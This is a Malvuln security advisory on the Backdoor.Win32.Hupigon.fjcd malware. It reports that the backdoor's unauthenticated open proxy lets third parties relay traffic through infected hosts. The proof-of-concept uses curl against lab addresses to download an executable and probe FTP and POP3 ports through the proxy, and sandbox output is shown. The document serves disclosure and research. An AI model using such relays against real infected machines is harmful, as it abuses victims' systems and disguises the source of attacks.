Backdoor.Win32.Hupigon.fjcd Unauthenticated Open Proxy

`Discovery / credits: Malvuln - malvuln.com (c) 2021  
Original source: https://malvuln.com/advisory/284f36e35db6a0aa9a493f39d834367e.txt  
Contact: [email protected]  
Media: twitter.com/malvuln  
  
Threat: Backdoor.Win32.Hupigon.fjcd  
Vulnerability: Unauthenticated Open Proxy  
Description: The malware listens on TCP ports 8080, 1080. Third-party attackers who can connect to the infected system can relay requests from the original connection to the destination and then back to the origination system. Attackers may then be able to launch attacks, download files or port scan third party systems and it will appear as the attacks originated from that infected host.  
Type: PE32  
MD5: 284f36e35db6a0aa9a493f39d834367e  
Vuln ID: MVID-2021-0349  
Dropped files: hao123.exe   
Disclosure: 09/25/2021  
  
Exploit/PoC:  
Download filez)  
  
curl http://192.168.18.125:8080/DOOM.exe -H "Host: 192.168.18.128" --output DOOM.exe  
% Total % Received % Xferd Average Speed Time Time Time Current  
Dload Upload Total Spent Left Speed  
100 24576 100 24576 0 0 24576 0 0:00:01 --:--:-- 0:00:01 258k  
  
Scan ports)  
  
curl http://192.168.18.125:8080 -H "Host: 192.168.18.128:21"  
220 INetSim FTP Service ready.  
500 Unknown command.  
  
  
curl http://192.168.18.125:8080 -H "Host: 192.168.18.128:110"  
+OK INetSim POP3 Server ready <23200.1632535913@pop3host>  
-ERR Unknown command.  
  
  
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